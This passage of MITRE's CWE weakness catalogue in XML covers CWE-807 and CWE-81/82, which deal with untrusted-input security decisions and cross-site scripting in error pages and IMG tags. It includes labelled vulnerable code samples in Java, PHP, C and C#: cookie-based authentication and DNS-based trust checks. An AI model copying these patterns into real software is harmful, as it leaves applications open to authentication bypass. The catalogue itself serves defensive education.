							the server side to catch tampering. Use a message authentication code
							(MAC) algorithm, such as Hash Message Authentication Code (HMAC)
							[R.807.2]. Apply this against the state or sensitive data that you have
							to expose, which can guarantee the integrity of the data - i.e., that
							the data has not been modified. Ensure that you use an algorithm with a
							strong hash function (CWE-328).</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-4.2">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Libraries or Frameworks</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use a vetted library or framework that does not allow this weakness to
							occur or provides constructs that make this weakness easier to
							avoid.</Text>
						            <Text>With a stateless protocol such as HTTP, use a framework that maintains
							the state for you.</Text>
						            <Text>Examples include ASP.NET View State [R.807.3] and the OWASP ESAPI
							Session Management feature [R.807.4].</Text>
						            <Text>Be careful of language features that provide state support, since
							these might be provided as a convenience to the programmer and may not
							be considering security.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-15">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>For any security checks that are performed on the client side, ensure
							that these checks are duplicated on the server side, in order to avoid
							CWE-602. Attackers can bypass the client-side checks by modifying values
							after the checks have been performed, or by changing the client to
							remove the client-side checks entirely. Then, these modified values
							would be submitted to the server.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-16">
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Environment Hardening</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>When using PHP, configure the application so that it does not use
							register_globals. During implementation, develop the application so that
							it does not rely on this feature, but be wary of implementing a
							register_globals emulation that is subject to weaknesses such as CWE-95,
							CWE-621, and similar issues.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-6">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Identify and Reduce Attack Surface</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Understand all the potential areas where untrusted inputs can enter
							your software: parameters or arguments, cookies, anything read from the
							network, environment variables, reverse DNS lookups, query results,
							request headers, URL components, e-mail, files, filenames, databases,
							and any external systems that provide data to the application. Remember
							that such inputs may be obtained indirectly through API calls.</Text>
						            <Text>Identify all inputs that are used for security decisions and determine
							if you can modify the design so that you do not have to rely on
							submitted inputs at all. For example, you may be able to keep critical
							information about the user's session on the server side instead of
							recording it within external data.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-15">
					          <Intro_Text>The following code excerpt reads a value from a browser cookie to
						determine the role of the user.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>Cookie[] cookies = request.getCookies();</Code>
							              <Code>for (int i =0; i&lt; cookies.length; i++) {</Code>
							              <Block>
								                <Code>Cookie c = cookies[i];</Code>
								                <Code>if (c.getName().equals("role")) {</Code>
								                <Block>
									                  <Code>userRole = c.getValue();</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-16">
					          <Intro_Text>The following code could be for a medical records application. It
						performs authentication by checking if a cookie has been set.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>PHP</Code_Example_Language>
							              <Code>$auth = $_COOKIES['authenticated'];</Code>
							              <Code>if (! $auth) {</Code>
							              <Block>
								                <Code>if (AuthenticateUser($_POST['user'], $_POST['password']) ==
									"success") {</Code>
								                <Block>
									                  <Code>// save the cookie to send out in future responses</Code>
									                  <Code>setcookie("authenticated", "1", time()+60*60*2);</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>else {</Code>
								                <Block>
									                  <Code>ShowLoginScreen();</Code>
									                  <Code>die("\n");</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>DisplayMedicalHistory($_POST['patient_ID']);</Code>
						            </Block>
						            <Text>The programmer expects that the AuthenticateUser() check will always
							be applied, and the "authenticated" cookie will only be set when
							authentication succeeds. The programmer even diligently specifies a
							2-hour expiration for the cookie.</Text>
						            <Text>However, the attacker can set the "authenticated" cookie to a non-zero
							value such as 1. As a result, the $auth variable is 1, and the
							AuthenticateUser() check is not even performed. The attacker has
							bypassed the authentication.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-17">
					          <Intro_Text>In the following example, an authentication flag is read from a
						browser cookie, thus allowing for external control of user state
						data.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>Cookie[] cookies = request.getCookies();</Code>
							              <Code>for (int i =0; i&lt; cookies.length; i++) {</Code>
							              <Block>
								                <Code>Cookie c = cookies[i];</Code>
								                <Code>if (c.getName().equals("authenticated") &amp;&amp;
									Boolean.TRUE.equals(c.getValue())) {</Code>
								                <Block>
									                  <Code>authenticated = true;</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-93">
					          <Intro_Text>The following code samples use a DNS lookup in order to decide
						whether or not an inbound request is from a trusted host. If an attacker can
						poison the DNS cache, they can gain trusted status.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>struct hostent *hp;struct in_addr myaddr;</Code>
							              <Code>char* tHost = "trustme.example.com";</Code>
							              <Code>myaddr.s_addr=inet_addr(ip_addr_string);</Code>
							              <Code/>
							              <Code>hp = gethostbyaddr((char *) &amp;myaddr, sizeof(struct
								in_addr), AF_INET);</Code>
							              <Code>if (hp &amp;&amp; !strncmp(hp-&gt;h_name, tHost,
								sizeof(tHost))) {</Code>
							              <Block>
								                <Code>trusted = true;</Code>
							              </Block>
							              <Code>} else {</Code>
							              <Block>
								                <Code>trusted = false;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>String ip = request.getRemoteAddr();</Code>
							              <Code>InetAddress addr = InetAddress.getByName(ip);</Code>
							              <Code>if (addr.getCanonicalHostName().endsWith("trustme.com")) {</Code>
							              <Block>
								                <Code>trusted = true;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C#</Code_Example_Language>
							              <Code>IPAddress hostIPAddress = IPAddress.Parse(RemoteIpAddress);</Code>
							              <Code>IPHostEntry hostInfo = Dns.GetHostByAddress(hostIPAddress);</Code>
							              <Code>if (hostInfo.HostName.EndsWith("trustme.com")) {</Code>
							              <Block>
								                <Code>trusted = true;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>IP addresses are more reliable than DNS names, but they can also be
							spoofed. Attackers can easily forge the source IP address of the packets
							they send, but response packets will return to the forged IP address. To
							see the response packets, the attacker has to sniff the traffic between
							the victim machine and the forged IP address. In order to accomplish the
							required sniffing, attackers typically attempt to locate themselves on
							the same subnet as the victim machine. Attackers may be able to
							circumvent this requirement by using source routing, but source routing
							is disabled across much of the Internet today. In summary, IP address
							verification can be a useful part of an authentication scheme, but it
							should not be the single factor required for authentication.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-1549</Observed_Example_Reference>
					          <Observed_Example_Description>Attacker can bypass authentication by setting a
						cookie to a specific value.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-1619</Observed_Example_Reference>
					          <Observed_Example_Description>Attacker can bypass authentication and gain admin
						privileges by setting an "admin" cookie to 1.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-0864</Observed_Example_Reference>
					          <Observed_Example_Description>Content management system allows admin privileges
						by setting a "login" cookie to "OK."</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-5784</Observed_Example_Reference>
					          <Observed_Example_Description>e-dating application allows admin privileges by
						setting the admin cookie to 1. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-6291</Observed_Example_Reference>
					          <Observed_Example_Description>Web-based email list manager allows attackers to
						gain admin privileges by setting a login cookie to "admin."
					</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference Local_Reference_ID="R.807.1">
					          <Reference_Author>Frank Kim</Reference_Author>
					          <Reference_Title>Top 25 Series - Rank 6 - Reliance on Untrusted Inputs in a
						Security Decision</Reference_Title>
					          <Reference_Publisher>SANS Software Security Institute</Reference_Publisher>
					          <Reference_Date>2010-03-05</Reference_Date>
					          <Reference_Link>http://blogs.sans.org/appsecstreetfighter/2010/03/05/top-25-series-rank-6-reliance-on-untrusted-inputs-in-a-security-decision/</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-30" Local_Reference_ID="R.807.2">
					          <Reference_Title>HMAC</Reference_Title>
					          <Reference_Publisher>Wikipedia</Reference_Publisher>
					          <Reference_Date>2011-08-18</Reference_Date>
					          <Reference_Link>http://en.wikipedia.org/wiki/Hmac</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-28" Local_Reference_ID="R.807.3">
					          <Reference_Author>Scott Mitchell</Reference_Author>
					          <Reference_Title>Understanding ASP.NET View State</Reference_Title>
					          <Reference_Publisher>Microsoft</Reference_Publisher>
					          <Reference_Date>2004-05-15</Reference_Date>
					          <Reference_Link>http://msdn.microsoft.com/en-us/library/ms972976.aspx</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-21" Local_Reference_ID="R.807.4">
					          <Reference_Author>OWASP</Reference_Author>
					          <Reference_Title>OWASP Enterprise Security API (ESAPI) Project</Reference_Title>
					          <Reference_Link>http://www.owasp.org/index.php/ESAPI</Reference_Link>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Sanitize the environment when invoking external
						programs</Mapped_Node_Name>
					          <Mapped_Node_ID>ENV03-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not base security checks on untrusted
						sources</Mapped_Node_Name>
					          <Mapped_Node_ID>SEC09-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>232</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2010-01-18</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Potential_Mitigations,
						References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations, References, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, References,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="81" Name="Improper Neutralization of Script in an Error Message Web Page" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software receives input from an upstream component, but it
					does not neutralize or incorrectly neutralizes special characters that could be
					interpreted as web-scripting elements when they are sent to an error
					page.</Description_Summary>
				        <Extended_Description>
					          <Text>Error pages may include customized 403 Forbidden or 404 Not Found
						pages.</Text>
					          <Text>When an attacker can trigger an error that contains unneutralized input,
						then cross-site scripting attacks may be possible.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>79</Relationship_Target_ID>
					          <!--Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanAlsoBe</Relationship_Nature>
					          <Relationship_Target_ID>209</Relationship_Target_ID>
					          <!--Information Exposure Through an Error Message-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanAlsoBe</Relationship_Nature>
					          <Relationship_Target_ID>390</Relationship_Target_ID>
					          <!--Detection of Error Condition Without Action-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Resultant</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Do not write user-controlled input to error pages.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Carefully check each input parameter against a rigorous positive
							specification (white list) defining the specific characters and format
							allowed. All input should be neutralized, not just parameters that the
							user is supposed to specify, but all data in the request, including
							hidden fields, cookies, headers, the URL itself, and so forth. A common
							mistake that leads to continuing XSS vulnerabilities is to validate only
							fields that are expected to be redisplayed by the site. We often
							encounter data from the request that is reflected by the application
							server or the application that the development team did not anticipate.
							Also, a field that is not currently reflected may be used by a future
							developer. Therefore, validating ALL parts of the HTTP request is
							recommended.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-30.1">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Output Encoding</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use and specify an output encoding that can be handled by the
							downstream component that is reading the output. Common encodings
							include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified,
							a downstream component may choose a different encoding, either by
							assuming a default encoding or automatically inferring which encoding is
							being used, which can be erroneous. When the encodings are inconsistent,
							the downstream component might treat some character or byte sequences as
							special, even if they are not special in the original encoding.
							Attackers might then be able to exploit this discrepancy and conduct
							injection attacks; they even might be able to bypass protection
							mechanisms that assume the original encoding is also being used by the
							downstream component. </Text>
						            <Text>The problem of inconsistent output encodings often arises in web
							pages. If an encoding is not specified in an HTTP header, web browsers
							often guess about which encoding is being used. This can open up the
							browser to subtle XSS attacks. </Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-43">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>With Struts, write all data from form beans with the bean's filter
							attribute set to true.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-31">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Identify and Reduce Attack Surface</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>To help mitigate XSS attacks against the user's session cookie, set
							the session cookie to be HttpOnly. In browsers that support the HttpOnly
							feature (such as more recent versions of Internet Explorer and Firefox),
							this attribute can prevent the user's session cookie from being
							accessible to malicious client-side scripts that use document.cookie.
							This is not a complete solution, since HttpOnly is not supported by all
							browsers. More importantly, XMLHTTPRequest and other powerful browser
							technologies provide read access to HTTP headers, including the
							Set-Cookie header in which the HttpOnly flag is set.</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness>Defense in Depth</Mitigation_Effectiveness>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Explicit</Causal_Nature>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0840</Observed_Example_Reference>
					          <Observed_Example_Description>XSS in default error page from Host:
						header.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1053</Observed_Example_Reference>
					          <Observed_Example_Description>XSS in error
						message.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1700</Observed_Example_Reference>
					          <Observed_Example_Description>XSS in error page from targeted
						parameter.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 11: Failure to Handle Errors Correctly." Page
						183</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>XSS in error pages</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>198</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Relationships, Taxonomy_Mappings,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Description, Name,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">XSS in Error
						Pages</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-05-27">Failure to Sanitize
						Directives in an Error Message Web Page</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-06-21">Improper Sanitization of
						Script in an Error Message Web Page</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="82" Name="Improper Neutralization of Script in Attributes of IMG Tags in a Web Page" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The web application does not neutralize or incorrectly
					neutralizes scripting elements within attributes of HTML IMG tags, such as the
					src attribute.</Description_Summary>
				        <Extended_Description>
					          <Text>Attackers can embed XSS exploits into the values for IMG attributes (e.g.
						SRC) that is streamed and then executed in a victim's browser. Note that
						when the page is loaded into a user's browsers, the exploit will
						automatically execute.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>83</Relationship_Target_ID>
					          <!--Improper Neutralization of Script in Attributes in a Web Page-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-30.1">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Output Encoding</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use and specify an output encoding that can be handled by the
							downstream component that is reading the output. Common encodings
							include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified,
							a downstream component may choose a different encoding, either by
							assuming a default encoding or automatically inferring which encoding is
							being used, which can be erroneous. When the encodings are inconsistent,
							the downstream component might treat some character or byte sequences as
							special, even if they are not special in the original encoding.
							Attackers might then be able to exploit this discrepancy and conduct
							injection attacks; they even might be able to bypass protection
							mechanisms that assume the original encoding is also being used by the
							downstream component. </Text>
						            <Text>The problem of inconsistent output encodings often arises in web
							pages. If an encoding is not specified in an HTTP header, web browsers
							often guess about which encoding is being used. This can open up the
							browser to subtle XSS attacks. </Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-31">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Identify and Reduce Attack Surface</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>To help mitigate XSS attacks against the user's session cookie, set
							the session cookie to be HttpOnly. In browsers that support the HttpOnly
							feature (such as more recent versions of Internet Explorer and Firefox),
							this attribute can prevent the user's session cookie from being
							accessible to malicious client-side scripts that use document.cookie.
							This is not a complete solution, since HttpOnly is not supported by all
							browsers. More importantly, XMLHTTPRequest and other powerful browser
							technologies provide read access to HTTP headers, including the
							Set-Cookie header in which the HttpOnly flag is set.</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness>Defense in Depth</Mitigation_Effectiveness>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-3211</Observed_Example_Reference>
					          <Observed_Example_Description>Stored XSS in a guestbook application using a
						javascript: URI in a bbcode img tag.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1649</Observed_Example_Reference>
					          <Observed_Example_Description>javascript URI scheme in IMG
						tag.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1803</Observed_Example_Reference>
					          <Observed_Example_Description>javascript URI scheme in IMG
						tag.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1804</Observed_Example_Reference>
					          <Observed_Example_Description>javascript URI scheme in IMG
						tag.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1805</Observed_Example_Reference>
					          <Observed_Example_Description>javascript URI scheme in IMG
						tag.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1806</Observed_Example_Reference>
					          <Observed_Example_Description>javascript URI scheme in IMG
						tag.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1807</Observed_Example_Reference>
					          <Observed_Example_Description>javascript URI scheme in IMG
						tag.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1808</Observed_Example_Reference>
					          <Observed_Example_Description>javascript URI scheme in IMG
						tag.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
